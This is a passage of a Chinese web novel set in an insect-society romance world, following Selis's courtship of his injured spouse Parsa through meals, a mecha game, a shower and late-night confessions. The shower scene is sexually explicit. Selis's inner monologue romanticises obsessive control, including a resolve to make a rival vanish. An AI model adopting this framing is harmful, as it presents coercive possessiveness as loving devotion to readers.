现在重新扫描到两虫相连的能量场数据,显示屏的表情换为“∑(°口° )”。
“你们,你们,你们...”菲克吭哧半天,憋出来一句:“你们吃饭了吗?”
“正准备做。”塞利斯温和的回道,心中却微微惊讶,菲克居然对他的容貌变化和雄虫身份只字未提。
晚餐是简单的蔬菜面,塞利斯特意做得清淡了一些。
“还难受吗哥哥?”塞利斯问道,他指的是结合热时帕尔萨的异常状态。
“没事
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。”帕尔萨声音恢复了平日的冷冽,当时自己好像想起了一些失忆的模糊画面,好像有另一个虫影,但具体是什么怎么也记不清。
他目光瞥到塞利斯握着筷子的手上,那手腕内侧有一道淡淡的红痕,是他失控时握下的。
“那吃完饭,”塞利斯眼睛亮晶晶的看向他,“去花园走走?晚上的风很舒服。”
“嗯。”
等到花园里时,夜幕低垂,景观灯依次亮起,柔和的光晕勾勒出花草乔木朦胧的轮廓,夜风带来植物特有的清爽气息。
塞利斯推着轮椅,沿着小径慢行。他偶尔会停下,指着某株夜间开放的花卉或形态奇特的植物询问,帕尔萨一一作答。
这种平和而寻常的互动,悄然缓解了两虫白日间混乱过后的微妙尴尬,在静谧的夜色中,好像有什么变得不一样了,又好像什么都没变。
走到小路尽头时,塞利斯停下了脚步。他绕到帕尔萨面前蹲下,仰起脸,琥珀色的眸子映着细碎的暖光。
“哥哥,”他声音放得很轻,
“晚上陪我看电影好吗?我之前在储藏室发现了一台还能用的复古投影仪,最近星网上有几个比较有意思的电影,我想跟你一起看。”
帕尔萨看着他眼中的期待和恳求,缓缓开口:“什么电影?”
塞利斯眼里的光彩更盛:“评价最高的是一部古星球探险题材的。在床上看吧,舒服些,我去准备靠枕和喝的。”
“床上”这个观影地点被塞利斯衔接的自然,仿佛真的只是出于舒适的考虑。
帕尔萨的目光在塞利斯脸上停留片刻。
“嗯。”
夜间,卧室只留了一盏光线昏黄的壁灯。古老的探险故事投射在对面墙上。
帕尔萨靠坐在床头,背后垫着柔软的靠枕。塞利斯挨在他身侧,两虫共享着被子。
塞利斯装作被剧情吸引,一边随着画面发出轻叹或低笑,一边放松身体慢慢倾斜,最终脑袋轻轻靠上了帕尔萨的肩膀。
感觉到帕尔萨身体一僵,塞利斯眼中闪过一丝笑意。
隔着轻薄的上衣,对方的体温重量,以及发间与自己信息素交融后那股独特的香气,无比清晰地传来。
电影的音效变得模糊,帕尔萨的全部感知似乎都聚焦在肩头的接触上。
塞利斯浑然不觉,就着这个姿势安静了片刻,让帕尔萨适应后,找到更舒服的位置,又往下滑了滑,几乎半倚进了帕尔萨的怀里。
帕尔萨的手指在被子下微微收拢,没有动。
这其实是一个又臭又长的电影,长到电影结束时能到夜深,塞利斯特意选的。
电影过半时,塞利斯含糊地嘟囔了一句什么,声音困倦。
帕尔萨低头,发现小雄子已经半阖着眼,呼吸变得绵长均匀,就这样靠着睡着了。
或许是白日的活动,信息素的消耗,让这个年轻的雄虫感到疲惫。
帕尔萨静静注视他沉睡的侧脸,昏暗光影柔化了轮廓,那些吻痕在颈侧暧昧延伸。
他一直在思考着什么,维持着姿势没动,直到电影结束,墙面恢复空白。
帕尔萨轻轻地尝试抽身,但塞利斯在睡梦中不满地轻哼,手臂无意识地环住他的腰,脸颊在他肩窝蹭了蹭,呓语般低喃:“别走......”
帕尔萨彻底僵住。
几秒后,他认命般吐出一口气,放松下来,小心调整姿势让两虫躺得舒服些。他拉高被子盖好塞利斯,伸手熄了灯。
黑暗笼罩,卧室内只剩彼此清浅的呼吸。
塞利斯在沉入深度睡眠前,于无虫能见的黑暗里,唇角轻轻弯了一下。
15. 第 15 章 恶龙和公主
早上的时候,塞利斯比帕尔萨先醒了过来。
晨光透过窗帘缝隙,在昏暗的卧室里映出一道淡金色的线。
他侧躺着,发现自己还蜷在帕尔萨怀里,像树袋熊一样抱着雌虫,对方的手臂隔着一层被子搭在他腰上。
两虫的气息就这么彼此亲密无间的交换着,屋里弥漫着冰雪玫瑰的淡淡香气。
塞利斯没动,就这么安静地看了一会儿帕尔萨沉睡的侧脸。
那些虫纹在晨光里显得淡了些,让他看起来有几分柔和,塞利斯的心都软了,下意识蹭了蹭胯。
看够了,他才像只猫一样,轻轻亲了一下帕尔萨的眉心,缓慢地从那怀抱里挪出来,起身出了房间。
而帕尔萨在他离开后睁开眼,不知是被戳醒还是被亲醒,嘴角似乎很淡的有一丝笑意,翻身闭上了眼。
厨房里飘着食物暖融融的香气时,菲克滑了进来。
“?(?ω?)?”圆脑袋显示屏闪烁着:“早上好呀,洛纳!”
“早上好呀,”塞利斯把煎蛋盛进盘子,“菲克。”
他抬起头看着机器虫道:“其实我叫塞利斯。森林的林,自然的然。”
“奥奥!”菲克的显示屏暗了一下,又亮起来,跳出一个“(??ω??)?”的表情。
“塞利斯!好听!比洛纳好听!”
塞利斯靠着料理台,抱起手臂,看着菲克:
“你好像一点都不惊讶?也不好奇我为什么长这样,或者,”
他指了指自己,“为什么是个雄虫?”
“现在的塞利斯无敌美丽超级漂亮!”
“(?▽?)”显示屏变换成星星眼:“不过塞利斯就是塞利斯呀,雄虫还是亚雌,都是塞利斯。”
塞利斯挑了挑眉,没有说话。
菲克挠挠头,滑近一点,显示屏上开始播放一些简单的动画图案:“洛纳,我给你讲个故事吧,一个童话故事~”
“嗯?”
“很久很久以前,在大山最深处,有一座很古老很古老的城堡,城堡里沉睡着一条特别特别凶的恶龙。”
菲克的电子音故意变得低沉缓慢,模仿讲故事的语气:
“恶龙要被整个王国追杀,它数不清的宝贝也被好多坏虫惦记,毕竟他是一条富龙!”
说着说着菲克的语气变得洋洋得意,感觉自己氛围跑偏,咳了两下变回低沉的电子音:
“它受伤了,很累,就躲在城堡里睡觉,睡了很久很久,谁也不见。”
“然后呢?”塞利斯问。
“然后有一天,城堡的门被敲响了。你猜,敲门的是谁?”
“一个勇者?”
“不是哦,不是勇者,也不是骑士。”
菲克的显示屏亮起一个Q版小虫敲门的动画,旁边蹦出几个星星:
“是一个美丽又香甜的公主!”
塞利斯愣住了。
“公主没有带宝剑,也没有带军队,他走进古堡,找到了沉睡的恶龙,然后他亲了恶龙一下!”
显示屏上,简笔画小公主“叭唧”亲在恶龙脸上,恶龙头顶冒出一个个红色的爱心。
“恶龙就醒啦!”
“后来呢?”
“后来他们一直一直在一起,过上了幸福快乐的生活。故事结束啦,happy ending!”
菲克播放完最后一个烟花爆炸的动画,显示屏恢复成平常的蓝色,“故事讲完啦。”
塞利斯沉默地站了一会儿,然后轻轻笑了,走过去,拍了拍菲克圆溜溜的金属脑壳。
他没再追问,但菲克这个别有深意的童话,让他心里某个角落动了动。
“知道了。”塞利斯微笑道,“我去叫帕尔萨吃饭。”
原本可以让菲克去,但塞利斯喜欢照顾帕尔萨的感觉,喜欢帕尔萨的所有都需要被他照料。
塞利斯再回到卧室时,帕尔萨已经醒了,靠在床头面无表情的放空着。
“早上好,哥哥。”塞利斯眉眼弯弯的看着自己的雌虫。
“早上好。”帕尔萨缓缓开口。
塞利斯开心的拉开窗帘,让温暖的阳光洒进卧室,把帕尔萨推到浴室,用温热的毛巾细致的擦拭着他的脸。
“闭眼。”塞利斯将毛巾浸了温水,说完敷在帕尔萨眼睛上片刻,指尖同时缓缓揉着帕尔萨的太阳穴。
帕尔萨顺从的任由他动作。
敷了一会,拿下毛巾,在帕尔萨刷牙的时候,塞利斯用梳子给他梳头发。
帕尔萨的头发有些长了,银色的长发经过塞利斯的食补恢复之前的光泽,柔顺的像是绸缎手感极好。
帕尔萨从面前的镜子里,能看到身后的塞利斯垂着眼,神情认真地梳理他的头发。
遇到睡乱打结的地方,会先用手轻轻分开,再慢慢梳通,一下一下,从发根到发尾。
镜中的塞利斯表情有他自己都不知的温柔,帕尔萨看着,一时有些出神。
梳顺了,塞利斯却没有停,他放下梳子,手指代替了工具,轻轻插入帕尔萨的发间,一下一下地梳理,偶尔用指腹按过头皮,垂眸的眼底是一片痴迷。
不像是为了梳理,更像一种安抚和触碰。
帕尔萨的副耳不自觉地动了动。
塞利斯将帕尔萨额前的银发挽过耳后,似是无意的摸了一下耳廓,才收回手,语气寻常:“好了,我们下楼?”
早餐已经准备好,放在厨房温着,塞利斯推着帕尔萨的轮椅到餐厅。
然后他端来热腾腾的肉糜粥,几样清淡小菜、煎蛋,还有烤好的面包片。
他把粥碗放在帕尔萨面前,摆好勺子,却没有退开。
塞利斯将椅子紧挨着帕尔萨的轮椅坐下,他用勺子舀了一勺粥,吹了吹,喂到帕尔萨嘴边:
“小心烫。”
帕尔萨抬眼看他,塞利斯把勺子又往前递了递,轻轻碰了碰帕尔萨的下唇。
他眉眼弯弯道:“啊——”
看着雄子亮晶晶的琥珀色双眸,脖子上还有自己的吻痕,帕尔萨的无力感又弥漫上心头。
他只能张开嘴,入口的粥煮得软烂咸香,温度刚好。
塞利斯眼里漾开笑意,他收回勺子,吹着搅了搅粥,把粥碗和勺子递给了帕尔萨,没有再得寸进尺。
只是时不时的还会捏起一小块面包,递到帕尔萨嘴边,或者夹一筷子小菜,乐此不疲的投喂他。
帕尔萨沉默地接受着喂食,目光偶尔掠过塞利斯低垂的睫毛和专注的侧脸。
阳光完全照了进来,落在餐桌上,暖洋洋的。
吃完饭塞利斯兴致勃勃地拉着帕尔萨去了全息游戏室。
他来到这里后,帕尔萨从不限制他的行动,这个游戏室之前就玩过几次,不得不说别墅的设计太符合他的心意了。
“哥哥你这个游戏室真是太棒了!”塞利斯真心感叹,这里面有最贵版本的全息游戏机。
塞利斯启动主机,选好游戏后将神经接驳环给两虫戴好,暗绿色的光带流淌在地面上,登录界面浮现出来。
“‘星痕战场’,最新迭代的虫族机甲全息拟真平台。支持高拟真精神对抗和体力反馈。”
点击进入后黑暗降临,随即被奔涌的数据流光取代。
意识下沉,再上浮时,已经置身于一片广袤的虚拟星空。
巨大的帝国主舰轮廓悬浮在宇宙中,周围是密密麻麻的舰队和机甲战士,空气中都模拟着战场的焦灼气息。
塞利斯选择的登陆形象是一台高速突击机甲。
流线型的黑色机身覆盖着吸收探测波的鳞状装甲,背部四对可折叠的骨翼推进器让它看起来轻盈又致命,双臂配备隐匿型速射粒子枪。
帕尔萨展开的则是一台重型火力压制机甲。
银白色流光的涂装,厚重的复合装甲层层叠叠,肩部阵列式光束炮和胸口的银白色激光能量炮压迫感十足。
“哇哦~”塞利斯的通讯接了进来,声音带着笑意,“哥哥看起来好猛~
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要让着我点啊~”
帕尔萨耳朵动了一下没有吭声。
对战地图载入:“无尽星渊·残骸带”。
眼前是星舰残骸、扭曲的金属和小行星碎片组成的复杂地形。远处有模拟的恒星光芒,但大部分区域笼罩在深空阴影中。
倒计时归零。
听到塞利斯的话后,帕尔萨银白色机甲的动作明显带了克制,初始试探炮火并不密集。
塞利斯却没那么客气,黑色机甲如同鬼魅,凭借着高超的机动性在火力网中穿梭,能量刃时不时刁钻地切向银白色机甲的关节和能量管线。
他的操作流畅,超强的精神力让他能计算着所有闪避和进攻的预判。
帕尔萨渐渐认真起来,银白色机甲不再一味防守,厚重的装甲硬扛了几次擦伤,换来肩炮的充能时间。
一道粗壮的粒子光束擦着黑色机甲的左翼掠过,在虚拟星空中炸开一团刺眼的光晕。
“哇!”塞利斯在频道里叫了一声,机甲险险扭开,“哥哥来真的啊!”
说完塞利斯的黑色机甲直接隐形消失无踪。帕尔萨并不急,探测器缓缓扫描,等待塞利斯露出破绽。
虚空中一片死寂。
一分钟后,帕尔萨正面三十米处突然爆炸,是塞利斯提前埋的干扰雷,强光电磁脉冲瞬间遮蔽一切探测。
几乎同时,黑影从爆炸背光处窜出!黑色机甲速度拉到极致,能量波刃直刺银白色机甲的腰侧关节。
帕尔萨根本没看正面,爆炸亮起的刹那,他左臂巨盾猛地侧扫!
“铿!!”
刀刃砍在盾上火星四溅,黑色机甲被震得打转。
帕尔萨右臂的重炮早已充能完毕,炮口几乎顶住对方胸口。塞利斯强行扭身,双刃交叉格挡。
“轰!!”
黑色机甲被炸飞,连撞几层残骸才停下,胸口装甲变形,左臂刀断。
“算错了。”帕尔萨声音平静,“你低估了我的反应速度。”
塞利斯在驾驶舱里舔了舔嘴唇,血液中涌上来兴奋的战栗,“再来。”
他断开损毁左臂,能量集中于右臂和推进器,机甲晃晃悠悠重新飞起。
这次他换了打法,借着复杂地形时而出其不意放冷枪,时而佯攻骗炮火。
帕尔萨稳如磐石,以最少移动精准点射回击,每次开火都逼得塞利斯不敢停留。重炮冷却时就用臂盾和小枪顶上,节奏丝毫不乱。
能量在高速消耗。
一次骚扰射击后,黑色机甲从探测器上完全消失。
突然,帕尔萨脚下的巨大残骸从内部爆炸!立足点瞬间崩塌,银白色机甲失衡下坠,下方是模拟深渊。
帕尔萨弹出腿部锚链,只钩住零星碎片,机甲仍在坠落。
上方黑色机甲从高处残骸背面猛地扑下,能量波刃亮起刺眼白光,直刺下坠机甲的背部能源舱!
帕尔萨毫不慌乱,控制着机甲背部的装甲主动炸开,牺牲关键装甲换来的冲击波让黑色机甲轨迹微偏。
同时,机甲狠狠向上蹬出!
“砰!”
正中黑色机甲腹部,黑色机甲被踹得向上飞起。帕尔萨借反冲下坠骤缓,肩部两门刚冷却的光束炮已锁定上空目标。
炮口蓄能光芒亮起。
“你赢了,哥。”塞利斯喘着笑,“我没能量躲了。”
帕尔萨手指在发射钮上停顿片刻。
炮光熄灭。
退出对战,两虫摘下接驳环。全息室灯光大亮。
塞利斯额发汗湿,眼睛发亮。帕尔萨呼吸平稳,眼底还有对战时锐利的光芒。
“最后那下自爆装甲反击,”塞利斯凑近,用袖子擦去帕尔萨额角的汗,眼睛亮晶晶的,“好帅呀,哥哥。”
“你的战术也不错。”帕尔萨的副耳微微泛红。
“学到了。”塞利斯笑着收手,指尖不经意擦过他的下巴。
“去冲个澡?”塞利斯问,语气自然,“一身汗。”
16. 第 16 章 塞利斯的疑惑
帕尔萨没想到塞利斯选择了淋浴。
塞利斯先进去放水,等到帕尔萨被推进去时,只听见淅淅沥沥的水声,蒸腾的水雾模糊了淋浴间的玻璃隔断。
塞利斯帮帕尔萨脱完衣服后,自己也直接将衣服脱了。
帕尔萨一时间眼睛都直了,小雄子细腻的皮肤在浴室灯光的照射下白的发光,上面散落着已经晕染淡化的红色吻痕,更添几分旖旎。
身体修长匀称,弯腰间能看见挺翘圆润的屁股,胸前和胯前都是淡粉色。
帕尔萨只感觉一股热度从颈后的腺体迸发向下奔流而去,结合热的感觉又再次袭来。
从小严格的贵族家教到后面忙于军务,帕尔萨向来无心与那些大多傲慢没有头脑的雄虫谈情说爱。
除了必要阶层社交,他很少接触雄虫,更何况是赤、诚以待的雄虫。
上一次两虫醒后塞利斯没穿衣服是因为情况特殊,这次......
塞利斯冲帕尔萨无辜的笑笑,绝色的容颜像一朵含苞待放的玫瑰:
“一起洗吧哥哥,比较快。”
塞利斯没等帕尔萨说话直接将他抱起,放到淋浴间准备好的专用座椅上。
淋浴间内雾气蒸腾,两虫的信息素在热气中暧昧的缠绕。
塞利斯看着好像有些宕机的帕尔萨,无声的勾了勾唇角,拿起花洒将温热的水流缓缓淋到帕尔萨的头顶和肩膀。
因为帕尔萨坐着,塞利斯站着,两虫的位置让他视线有些无处安放,只能闭上眼,身体的触感却更加明显。
水流冲刷着皮肤,带走了身上的汗意,塞利斯的手掌也跟着水流移动,帮他打湿全身。
塞利斯轻轻拂过宽阔的肩背然后缓缓向下,动作起初很规矩,只是清洗。
氤氲的水汽模糊了视线,氛围也渐渐变得奇怪。
帕尔萨打湿的银色长发被塞利斯撩至脑后,露出即使蔓延着虫纹,也依旧冷俊轮廓分明的五官,水珠沿着饱满的额头滑落,划过深邃的眼窝,浓密的睫毛,高挺的鼻梁,还有那柔软的唇珠。
塞利斯用目光放肆的描摹着,眼中翻涌着病态的痴迷。
当清洗到帕尔萨腰侧那里一道较深的疤痕时,他的拇指指腹在凹凸不平的皮肤边缘,轻轻摩挲了一下。
帕尔萨的后背肌肉猛地收缩,呼吸骤然一窒。
塞利斯并没有收回手,而是故意按在他的腰侧,声音在水声中有些模糊:
“对不起,哥哥,是这里的伤口还疼吗?”
“...不是。”帕尔萨声音闷闷的回道。
“哦。”塞利斯低头眼中晦暗的笑意加深,停顿了一下才继续动作,但接下来好像变得有些不同。
“哥哥,抬手。”塞利斯低声说。
帕尔萨配合地抬起手臂,塞利斯为他涂上沐浴泡沫。
但触感不再仅仅是清洗,而是带来一种难以言喻的微痒的酥麻,帕尔萨的喉结剧烈的滚动了一下。
浴室里的空气越来越热,水汽弥漫,让帕尔萨觉得有些透不过气。他想遮挡自己的反应,但又太过明显。
塞利斯像是毫无所觉,终于开口道:“好了,哥哥。”
帕尔萨以为终于可以冲水洗完的时候,睁开了眼,眼前正是俯身笑意盈盈看着他的塞利斯。
两虫脸的距离很近,能看见塞利斯被水汽熏的绯红的脸颊,和湿漉漉的琥珀色眼睛,再往下看去,塞利斯正面一览无余。
他不知什么时候塞利斯也给自己打上了沐浴泡沫,显得皮肤滑溜溜,零零散散沾着白色的泡沫。
这个小雄子,他简直......
见他睁眼,塞利斯直接正面抱起了他,打开顶喷淋浴器。
温热的水流将两虫冲湿,肌肤相贴的触感,让两虫的心里同时响起一声叹息。
塞利斯抬头看着那双已经变得危险的暗红色双眸,毫不在意的无辜道:
“哥哥,你好像起反应了。”
帕尔萨垂眸看着眼前的少年,他湿透的黑发贴在额前,水珠顺着他看起来脆弱白皙的脖颈滑落,睫毛上挂着细小的水珠,眼神纯洁的像天使,下身却狰狞的像魔鬼。
见帕尔萨不说话,塞利斯加了一把火,他咬了咬红润的唇瓣道:
“哥哥,我有点难受。”
“你能帮帮我吗?”
帕尔萨再也忍耐不住,宽阔修长骨节分明的手握住两虫,声音低沉嘶哑的不像话:“乖,哥哥帮你。”
不知谁先开始,汹涌的信息素迸发而出,冰雪和玫瑰的气息激烈的相融,漫天盖地充斥在温热潮湿的淋浴间,挂满水雾的玻璃隔断上也不知留下了谁的手印。
过了很久很久,塞利斯将自己草草擦干,用浴巾包裹住帕尔萨,将他扔到了柔软的大床上。
从未被如此闹过的帕尔萨微微睁大了眼睛,只见塞利斯也笑着扑了上来,像八爪鱼一样抱住他,脑袋亲昵的蹭着帕尔萨的颈侧。
塞利斯其实脖颈后的腺体有一些刺痛,从他给帕尔萨临时标记后,腺体就断断续续的发热阵痛,跟他被救助前腺体受损有关系,但他不知道原因,他两世都从来没有关于被救助前的记忆。
他深深吸了一口冰雪夹杂着玫瑰的气息,心理上感觉刺痛缓和了许多,软软地说道:
“哥哥最好了。”
帕尔萨眼里弥漫上他自己都不知的笑意,唇角也微微弯起弧度,终是抬起手,放到塞利斯圆圆的后脑勺上轻轻摸了摸。
中午两虫吃过饭后,塞利斯将帕尔萨安置在了书房沙发椅上,把他想看的书放到他手边后去厨房烤饼干。
“好香啊!”
“哦~美丽可爱的塞利斯~你是在烤饼干么~”
“ ?( ??? )”菲克闪烁着屏幕,用夸张的舞台剧音调边说边滑了过来。
塞利斯拿出烤好的饼干,放到瓷盘上等待降温,跟它调侃了几句。
“没有虫能抵挡你的魅力,包括菲克,包括主虫~”
菲克感叹的晃了晃脑袋,转了一圈晃走了。
塞利斯端着托盘进到书房里,托盘上有茶和一小碟饼干,黄油味香喷喷的。
帕尔萨正在看书,腿上摊开一本厚重的《帝国星舰》
“哥哥,喝茶。”他倒了一杯放帕尔萨手边,自己拿起另一杯,就靠在书桌边,挨着帕尔萨的沙发椅喝。
帕尔萨端起杯子,温度刚好,两虫都没说话,书房里只有复古钟表走动的轻响。
塞利斯放下杯子,目光落在书上。“在看这个?”他手指碰了碰书页边缘,“第七代‘深渊级’,星历5968年造?好老的书。”
“嗯。”帕尔萨应了声,目光跟着他的手指动了下,“老记录有时内容更全面。”
“哥哥懂得真多。”塞利斯眉眼弯弯的夸赞道,他靠着桌沿没动,身体往下滑了点,肩膀轻轻挨到帕尔萨的手臂。
帕尔萨没躲,翻了一页书,塞利斯又凑近些,看那密密麻麻的图表。
“这个能量转换率比现在的还高?”他手指虚点在参数旁,离帕尔萨的手很近。
帕尔萨看着那手指,修长白皙,指甲修剪得整齐,指尖透着健康的淡粉色。雄子的手好像比军雌的手小一些,皮肤也更细腻。
“理论值。”他声音低了一些,“实际要考虑损耗。”
“这样。”塞利斯点点头,没收回手。他为了看清图表下的小字,整个上半身又俯低了些。
这下,他的头发几乎擦到帕尔萨下巴,那股清爽的和自己一样的洗发水香气,夹杂着冰雪玫瑰的气息,飘了过来。
感觉到帕尔萨呼吸顿了一下,塞利斯眼底划过一丝笑意,小声念出几个参数,气息轻轻拂过帕尔萨颈侧。
帕尔萨喉结动了动,忽然抬手翻到下一页,动作有点快。
塞利斯顺着直起点身子,眨了眨眼:“后面是武装配置?”
“嗯。”
“我能看看吗?”塞利斯问道,琥珀色的眼睛清澈的看着帕尔萨。帕尔萨没说话,把书往自己这边挪了挪,空出位置。
塞利斯笑了,他就这么弯下腰,手臂撑在扶手上,把自己半挂在那儿,脑袋凑到书页上方,和帕尔萨一起看。
这姿势像是把帕尔萨圈在了自己和书桌之间,体温和气息笼罩下来。
帕尔萨身体绷了一下,但他没让开也没动。目光落在书页上,又好像没看进去。
塞利斯看得很认真,偶尔问个问题,帕尔萨简短回答。问答间两虫说话的温热气息,近到可
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以喷洒在对方的脸上。
过了大概几分钟,塞利斯轻轻“啊”了声,“腿麻了。”他小声抱怨,带着点撒娇的意味。
没等帕尔萨反应,他就侧身挤进了沙发椅中。
沙发椅虽然宽大,但容纳两个成年虫也不是很富余。
塞利斯坐在帕尔萨的腿间,避免压到他的腿,后背贴着帕尔萨宽阔结实的胸膛,脑袋顺势往后一仰,就靠在了帕尔萨的肩膀上。
整个动作行云流水,自然得仿佛本该如此。帕尔萨整个虫僵了一下,塞利斯却不管他。
“这样舒服多了。”塞利斯喟叹般舒了口气,还蹭了蹭脑袋,给自己找了个更妥帖的位置。
他拿起那本书,举到两人面前,“哥哥,继续讲这个防空阵列的覆盖死角吧?刚才没太明白。”
语气像是非常好学,似乎只是找了个舒服的姿势看书。
帕尔萨垂眼,能看见塞利斯毛茸茸的发顶,和高挺的鼻梁。
帕尔萨的呼吸乱了几拍:“这里。”他声音有些发紧,手指指向书上的一个示意图,
“九十度到一百二十度仰角,是速射炮的盲区,需要依靠舰载机或护航舰弥补。”
“哦——”塞利斯拖长了调子,像是懂了。
他动了动,调整了一下姿势,更放松地窝进帕尔萨怀里:“那如果敌方高速突防,从这里切入呢?”
他又问了几个问题,帕尔萨一一回答,好像恢复了平常的沉稳冷冽。
只是帕尔萨原本放在一侧的手,不知何时轻轻环在了塞利斯的腰间。
塞利斯感受到手掌的热度,心情大好,也有几分专心地看起了书,偶尔点点头,蓬松的头发蹭着帕尔萨的下巴和颈窝。
等到晚上的时候,塞利斯兴致勃勃的要给帕尔萨按摩。帕尔萨放弃挣扎,他现在已经拒绝不了任何塞利斯的请求。
卧室灯光调得比较暗,是一个让虫放松的氛围。
帕尔萨趴在床上,塞利斯坐在他身侧,手指带着温热的药油,在那片紧绷的背肌上慢慢揉按。
脊椎两侧的旧伤疤在灯光下显出狰狞的轮廓,塞利斯的动作在那些地方十分轻柔。
“这里有感觉吗?”塞利斯按到帕尔萨有些萎缩的右腿小腿肚上。
“有一点。”
“忍一下,我稍微用点力。”塞利斯说着,手掌加大了力道缓慢推按。
帕尔萨的身体绷了一瞬,塞利斯立刻放松力道:“疼?”
“不是,有些麻。”
然后按到了左腿,只剩下大腿的部分残肢,上面交错着深深的疤痕,按下去没了骨骼,末端只剩一团软肉。
塞利斯有些按不下去了,这满身伤痕,失去的左腿,都在证明帕尔萨是多么的爱他的白月光,爱到为了保护他让自己重伤到这种地步。
他给帕尔萨洗澡的时候,都不敢多看,他怕自己会忍不住质问帕尔萨,为什么他会为白月光如此伤害自己。
帕尔萨察觉到塞利斯按到左腿的时候停了下来,他以为塞利斯被吓着了,刚要起身,就感到断肢处忽然落下一个轻柔的吻。
帕尔萨惊讶的转身,看见小雄子眼眶发红,含着泪光问道:“哥哥,你当时疼吗?”
很疼,他在军区医院醒来后,镇痛剂已经失去的药效,哪怕是向来能忍的A级军雌也抵抗不住断肢的幻痛。
更何况他当时因为受伤严重,已经没有从前的自我修复能力,反复虫化撕裂的伤口无时无刻的不在折磨他。
但帕尔萨只是抬手抚上塞利斯的脸颊,轻轻的抹了抹他的眼角,开口道:“还好。”
结束时,帕尔萨身体明显松弛了很多,等药油吸收了一会儿,塞利斯拿起浸湿的毛巾,将帕尔萨擦了一遍,换上柔软的睡袍。
塞利斯去洗了手,回来时却没离开,而是很自然地掀开被子,依偎在帕尔萨旁边躺了下来。
帕尔萨侧过头看他。
“累了,”塞利斯闭上眼睛,声音含糊,“不想动了,借你床躺会儿,哥哥。”
帕尔萨没说话也没赶他,房间里安静下来,只有两虫的呼吸声。
过了好一会儿,塞利斯忽然开口,声音在黑暗里显得很轻:“哥哥,你那时候...是怎么受伤的?”
17. 第 17 章 彼此的心照不宣
帕尔萨沉默了很久,目光投向天花板,像在看什么,又像什么都没看。
“一次军部的任务。”他终于开口,“具体的记不清了。”
“是不能说吗?”塞利斯声音弱弱的。
“不是。”帕尔萨顿了顿,“重伤后醒来,任务时的记忆都很模糊,医生说是爆炸冲击撞到头部导致的暂时失忆。”
塞利斯还没来得及高兴可以趁帕尔萨失忆强虫锁爱,就听他迟疑了一下,缓缓继续道:
“我只记得我必须要找到一个虫,他对我很重要。”
塞利斯猛地睁开眼,在昏暗里盯住帕尔萨的侧脸轮廓。
帕尔萨觉得有些事情还是需要让塞利斯知道,他接着道:
“医生说我的生殖腔也有损伤,是第一次永久标记没结合好造成的,但我对这件事,完全没有印象。”
“或许找到那个虫,所有的疑问就都能解开了。”
被子下塞利斯的手紧紧的攥了起来,指甲陷入掌心,连疼痛他都感知不到。
只觉得不甘、嫉妒,还有一股冰冷的恨意在他的胸腔里翻搅。
没想到帕尔萨连失忆都彻底忘不掉那个虫,当然能解开,因为他是这么让帕尔萨刻骨铭心的虫,让帕尔萨一辈子都不会忘掉的白月光!
塞利斯恨恨的想,如今帕尔萨对他的宽容,是因为他,还是因为他和白月光一样的瞳色?
幸好那个虫死了!上辈子直到最后,帕尔萨的白月光都从未出过他的眼前。
临时标记让塞利斯能隐约感知帕尔萨的情绪,他察觉到帕尔萨在等他回应,情绪里带着一丝忐忑。
塞利斯伸出手,摸索着找到帕尔萨放在身侧的手,将自己的手指一根根嵌进去,十指紧紧相扣。
像是给予安抚的答案,又像套上挣不开的枷锁。
“没关系,”塞利斯听到自己的一字一句道,“我陪你找到他。”
“我会一直陪着你。”
声音温柔如情话,底下却藏着别的危险意味。
就算那虫还活着,他也会让对方彻底消失。而帕尔萨无论是精神海,还是这具身体,都只能留下他塞利斯的标记。
他又想起自己的过去,穿越到这个世界时,已经是被雄子保护协会救助后。
之前原身经历了什么,他一点印象都没有。救助前的记忆,对于这个虫是怎么长大的,怎么落入非法实验室手里的,全是空白。
而为地球人类的记忆,也太过遥远,那些曾作为社会牛马被资本压榨剥削的日子,都已经变得模糊。
来到虫族世界后,身为A级雄子本就享有很好地特权待遇,更不必说只过了一年,就和奥唐纳家族掌权者帕尔萨绑定了婚姻。
奥唐纳家族,虫族四大贵族之首,是真正屹立在帝国的顶层。
仔细回想,帕尔萨其实一直把他保护的很好,流言蜚语从未传进他的耳朵。
自己婚后所做的科研项目无虫敢阻,资金也从未短缺过。他什么都不必操心,只需要按照自己的心意生活。
甚至帕尔萨死后,遗嘱上所有财产的受益者,也是他塞利斯。
说起来有几分讽刺,帕尔萨生前用婚姻将他捆绑在身边,死后是否知道,自己拿着他的遗产成为了帝国最炙手可热的鳏夫。
想着想着眼眶却热了。
所以帕尔萨,这一世,我满足你的愿望。
你会只属于我,没有虫能把你从我的身边带走。
哪怕是死亡,也不可以。
“我也有些事情想不起来了。”塞利斯轻声说,
“雄子保护协会救助我时,医生说我因为创伤后应激障碍导致的。”
帕尔萨转过头,在黑暗里和他对视,有些心疼小雄子得经历过多少的颠沛流离,才会有这么严重的应激障碍。
“有时候,忘了也不是坏事。”帕尔萨说,声音低沉,“有些事,不记得反而轻松。”
塞利斯没接话,他往帕尔萨那边挪了挪,一手与帕尔萨十指紧扣,另一只手臂环过帕尔萨的腰,额头轻轻抵着他肩膀。
是一个依赖的姿势。
帕尔萨没推开,侧身将塞利斯抱进怀中,手掌落在他后背,有一下没一下地轻拍。
两虫的信息素依赖的缠绕着,卧室弥漫着淡淡的冰雪玫瑰的气息。
“睡吧。”帕尔萨说。
“嗯。”
漆黑的夜晚漫长而寂静,两颗都有所缺失的心,却在黑暗里依偎着,汲取温度。
暂时不去想那些空白的过去,也不去定义此刻模糊的现在。
就这样贴着,抱着。
就很好。
时间像书页一样缓缓翻动着,自从两虫深夜谈话后,有一些心照不宣的东西,像藤蔓般在两虫之间悄然生长。
每天清晨,帕尔萨醒来时,总发现自己被当成了大型抱枕。
塞利斯的手臂松松环着他的腰,脸颊贴着他的后背或肩膀,呼吸温热地洒在他的皮肤上。
帕尔萨若是试图挪开,塞利斯即使在睡梦中也会不满地哼哼,下意识追过来,把脸更深地埋进他颈窝。
帕尔萨便不再动,任由他抱着,直到天光渐亮,塞利斯自己醒来。
醒来后的塞利斯,睡眼朦胧,第一件事就是用额头贴贴帕尔萨的额头。
“早,哥哥。”声音含混,带着刚醒的懒散,自然得像习以为常。
起初帕尔萨身体会微僵,后来便默许,有时甚至会在他贴上来时,轻轻回蹭一下。
午后帕尔萨若在书房看书,塞利斯便会抱着自己的书或游戏机凑过来。
一开始爱挤在同一张沙发椅里,后来怕压到帕尔萨,就拉他坐到更宽敞的沙发上,紧挨着坐下,或把脑袋枕在他肩头。
塞利斯自己并不专注,看着看着,脑袋就滑下来,变成躺在帕尔萨怀里。
